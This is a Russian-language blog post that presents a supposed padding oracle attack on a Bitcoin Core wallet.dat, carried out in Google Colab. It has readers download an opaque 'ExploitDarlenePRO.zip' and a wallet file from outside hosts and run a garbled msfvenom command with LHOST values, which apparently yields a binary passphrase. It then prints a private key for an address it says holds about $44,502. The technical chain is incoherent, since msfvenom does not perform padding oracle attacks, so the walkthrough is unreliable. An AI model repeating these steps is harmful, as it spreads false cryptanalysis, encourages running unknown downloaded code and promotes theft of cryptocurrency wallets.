Перейти к содержанию

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core


CryptoDeepTech

1 369 просмотров

 

В этой статье мы воспользуемся классификацией распространенных шаблонов атак из ресурса кибербезопасности [CAPEC™]. В первые об “Padding Oracle Attack” на Wallet.dat заговорили в далеком 2012 году (на платформе по управления уязвимостями и анализа угроз “VulDB”). Проблема самого популярного кошелька Bitcoin Core влияет на работу AES Encryption Padding в файле Wallet.dat

Технические подробности данной атаки известны:


Злоумышленник может эффективно расшифровывать данные, не зная ключа расшифровки, если целевая система сливает данные о том, произошла ли ошибка заполнения при расшифровке зашифрованного текста. 
Целевая система, которая передает информацию такого типа, становится заполняющим оракулом, и злоумышленник может использовать этот оракул для эффективной расшифровки данных, не зная ключа дешифрования, выдавая в среднем 128*b вызовов заполняющему оракулу (где b — это количество байт в блоке зашифрованного текста). 
Помимо выполнения расшифровки, злоумышленник также может создавать действительные зашифрованные тексты (т. е. выполнять шифрование) с помощью оракула заполнения, и все это без знания ключа шифрования.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Любая криптосистема может быть уязвима для атак оракула заполнения, если зашифрованные сообщения не аутентифицируются для обеспечения их достоверности перед расшифровкой, а затем информация об ошибке заполнения передается злоумышленнику. 
Этот метод атаки может использоваться, например, для взлома систем CAPTCHA или расшифровки/изменения информации о состоянии, хранящейся в объектах на стороне клиента (например, скрытых полях или файлах cookie). 

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Этот метод атаки представляет собой атаку по побочному каналу на криптосистему, которая использует утечку данных из неправильно реализованной процедуры дешифрования для полного подрыва криптосистемы. Одного бита информации, который сообщает злоумышленнику, произошла ли ошибка заполнения во время расшифровки, в какой бы форме она ни была, достаточно, чтобы злоумышленник взломал криптосистему.  Этот бит информации может прийти в форме явного сообщения об ошибке заполнения, возвращенной пустой страницы или даже того, что серверу требуется больше времени для ответа (временная атака).

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Эту атаку можно запустить в междоменном режиме, когда злоумышленник может использовать междоменные утечки информации, чтобы получить биты информации от оракула заполнения из целевой системы/службы, с которой взаимодействует жертва.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

В симметричной криптографии атака оракула заполнения может быть выполнена в режиме шифрования AES-256-CBC (который используется Bitcoin Core), при котором «оракул» (источник) передает данные о том, является ли заполнение зашифрованного сообщения правильно или нет. 
Такие данные могут позволить злоумышленникам расшифровать сообщения через оракул, используя ключ оракула, не зная ключа шифрования.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Процесс Padding Oracle Attack на Wallet.dat

Перейдем к практической части и выполним ряд действии через эксплойт, чтобы в процессе заполнить оракул в файле Wallet.dat и в конечном итоге найти необходимый нам пароль в бинарном формате.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Capture The Flag (CTF)

Раннее исследователи и участники турнира CTF выложили в публичный доступ взломанный [ wallet.dat 2023 года] Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b на сумму44502.42 долларов США // БИТКОИН: 1.17461256 BTC

 


Перейдем по ссылке на releases Bitcoin Core version 22.1


 

Index of /bin/bitcoin-core-22.1/


../
test.rc1/                                          08-Nov-2022 18:08                   -
test.rc2/                                          28-Nov-2022 09:39                   -
SHA256SUMS                                         14-Dec-2022 17:59                2353
SHA256SUMS.asc                                     14-Dec-2022 17:59               10714
SHA256SUMS.ots                                     14-Dec-2022 17:59                 538
bitcoin-22.1-aarch64-linux-gnu.tar.gz              14-Dec-2022 17:59            34264786
bitcoin-22.1-arm-linux-gnueabihf.tar.gz            14-Dec-2022 18:00            30424198
bitcoin-22.1-osx-signed.dmg                        14-Dec-2022 18:00            14838454
bitcoin-22.1-osx64.tar.gz                          14-Dec-2022 18:00            27930578
bitcoin-22.1-powerpc64-linux-gnu.tar.gz            14-Dec-2022 18:00            39999102
bitcoin-22.1-powerpc64le-linux-gnu.tar.gz          14-Dec-2022 18:00            38867643
bitcoin-22.1-riscv64-linux-gnu.tar.gz              14-Dec-2022 18:01            34114511
bitcoin-22.1-win64-setup.exe                       14-Dec-2022 18:01            18771672
bitcoin-22.1-win64.zip                             14-Dec-2022 18:01            34263968
bitcoin-22.1-x86_64-linux-gnu.tar.gz               14-Dec-2022 18:01            35964880
bitcoin-22.1.tar.gz                                14-Dec-2022 18:01             8122372
bitcoin-22.1.torrent                               14-Dec-2022 18:01               49857

 


Установить Bitcoin Core version 22.1

 

 

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

ОБЯЗАТЕЛЬНО! Перезагрузите программу QT // Запустите обратно Bitcoin Core

Нажимаем клавиши: Ctrl + Q

 

Необходимо перезагрузить программу QT, для того чтобы синхронизировать новый wallet.dat
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

 


Проверим через команду getaddressinfo Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

getaddressinfo "address"

Return information about the given bitcoin address.
Some of the information will only be present if the address is in the active wallet.

Запустим команду:

getaddressinfo 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

Результат:

{
  "address": "1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b",
  "scriptPubKey": "76a9147774801e52a110aba2d65ecc58daf0cfec95a09f88ac",
  "ismine": true,
  "solvable": true,
  "desc": "pkh([7774801e]02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f)#qzqmjdel",
  "iswatchonly": false,
  "isscript": false,
  "iswitness": false,
  "pubkey": "02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f",
  "iscompressed": true,
  "ischange": false,
  "timestamp": 1,
  "labels": [
    ""
  ]
}
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Запустим команду dumpprivkey для получения приватного ключа к Биткоин Кошельку: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

 

dumpprivkey "address"

Reveals the private key corresponding to 'address'.
Then the importprivkey can be used with this output

Запустим команду:

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Результат:

Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)

 


Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

 

Мы видим, что доступ к приватному ключу Биткоин Кошелька защищен паролем.
passphrase ?!?!?
passphrase ?!?!?
passphrase ?!?!?

Запустим Padding Oracle Attack на Wallet.dat и расшифруем пароль в бинарный формат, для этого нам понадобится установить репозитории Bitcoin Core integration/staging tree для этого вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab )


https://colab.research.google.com/drive/1rBVTPyePTMjwXganiwkHfz59vcAtN5Wt



Padding_Oracle_Attack_on_Wallet_dat.ipynb


 

Откроем сервис Google Colab по ссылке: https://colab.research.google.com

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Нажимаем на "+" и “Создаем новый блокнот”

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Установим Ruby в Google Colab

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby

!sudo apt install ruby-full

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Проверим версию установки

!ruby --version
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

 


 

Установим библиотеку 'bitcoin-ruby' для взаимодействия с протоколом/сетью Биткоин

!gem install bitcoin-ruby

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Установим библиотеку 'ecdsa' для реализации алгоритма цифровой подписи на эллиптической кривой (ECDSA)

!gem install ecdsa

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

 

Установим библиотеку 'base58' для преобразования целых или двоичных чисел в base58 и обратно.

!gem install base58

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Установим библиотеку 'crypto' чтобы упростить операции с байтами и основными криптографическими операциями

!gem install crypto

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Установим библиотеку 'config-hash' чтобы упростить работу с большими данными.

!gem install config-hash -v 0.9.0

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Установим Metasploit Framework и воспользуемся MSFVenom

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Посмотрим содержимое папки "metasploit-framework"

ls

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Опции:

!./msfvenom -help 
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core




 

Установим Bitcoin Core integration/staging tree в Google Colab:

!git clone https://github.com/bitcoin/bitcoin.git


ls

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Перейдем по каталогу к файлу: aes.cpp для интеграции эксплойта для запуска Padding Oracle Attack на Wallet.dat

cd bitcoin/src/crypto/

ls

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Откроем файл: aes.cpp через утилиту cat

cat aes.cpp

 


Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Для проведения атаки загрузим файл: wallet.dat в каталог: bitcoin/src/crypto/

 

Воспользуемся утилитой wget и скачаем wallet.dat из репозиториев 27PaddingOracleAttackonWalletdat
!wget https://github.com/demining/CryptoDeepTools/raw/29bf95739c7b7464beaeb51803d4d2e1605ce954/27PaddingOracleAttackonWalletdat/wallet.dat
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Проверим содержимое каталога: bitcoin/src/crypto/
ls

 

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Перейдем обратно к Metasploit Framework

 

cd /

cd content/metasploit-framework/

ls

 

 

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 


 

Откроем папки по каталогу: /modules/exploits/

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

ExploitDarlenePRO

Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/fe9b4545d58e43c1704b0135383e5f124f36e40cb54d29112d8ae7babadae791/ExploitDarlenePRO.zip

 

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip

!unzip ExploitDarlenePRO.zip
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Перейдем по каталогу: /ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Для запуска эксплойта перейдем обратно к Metasploit Framework

 

cd /

cd content/metasploit-framework/

ls

 

 

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.

Запустим команды:

!ip addr
!hostname -I
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Воспользуемся инструментом для создания полезной нагрузки MSFVenom

Для эксплуатации выбираем Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b 

 

Команда запуска:

!./msfvenom 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Результат:

1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101

Полученный бинарный формат нам необходимо сохранить в файл: walletpassphrase.txt воспользуемся Python-скриптом.

Команда:

import hashlib

Binary = "1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101"

f = open("walletpassphrase.txt", 'w')
f.write("walletpassphrase " + Binary + " 60" + "\n")
f.write("" + "\n")
f.close()

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Откроем файл: walletpassphrase.txt

ls
cat walletpassphrase.txt

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

Результат:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

 

Пароль для доступа к приватному ключу найден!


 

Воспользуемся командой dumpprivkey "address" через консоль Bitcoin Core

Команды:

walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60

dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Результат:
KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz

Приватный Ключ Получен!


 

Установим библиотеку Bitcoin Utils
pip3 install bitcoin-utils
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Запустим код для проверки соответствие Биткоин Адреса:

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Private key WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
Public key: 02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f
Address: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
Hash160: 7774801e52a110aba2d65ecc58daf0cfec95a09f

--------------------------------------

The message to sign: CryptoDeepTech
The signature is: ILPeG1ThZ0XUXz3iPvd0Q6ObUTF7SxmnhUK2q0ImEeepcZ00npIRqMWOLEfWSJTKd1g56CsRFa/xI/fRUQVi19Q=
The signature is valid!

 

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

ADDR: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b
WIF:  KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz
HEX:  3A32D38E814198CC8DD20B49752615A835D67041C4EC94489A61365D9B6AD330
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

https://www.blockchain.com/en/explorer/addresses/btc/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b


Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core
Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

BALANCE: $ 44502.42



References:


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/0aCfT-kCRlw

Источник: https://cryptodeep.ru/padding-oracle-attack-on-wallet-dat


Padding Oracle Attack на Wallet.dat расшифровка пароля для популярного кошелька Bitcoin Core

 

 

 

 

0 Комментариев


Рекомендуемые комментарии

Комментариев нет

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
  • Последние посетители   0 пользователей онлайн

    • Ни одного зарегистрированного пользователя не просматривает данную страницу
×
×
  • Создать...